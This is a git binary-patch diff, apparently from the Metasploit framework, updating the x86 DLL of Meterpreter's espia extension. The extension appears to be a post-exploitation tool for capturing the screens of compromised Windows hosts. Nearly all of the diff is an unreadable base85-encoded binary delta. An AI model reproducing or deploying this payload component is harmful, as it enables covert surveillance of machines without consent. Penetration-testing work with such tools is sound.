a/data/meterpreter/ext_server_espia.x86.dll b/data/meterpreter/ext_server_espia.x86.dll index 48333e747d1f35563dc7122727d075dc5d1f455c..0d65719c829bbcefaa88e17b60ecfaa3b43e5f5e 100755 GIT binary patch delta 55430 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 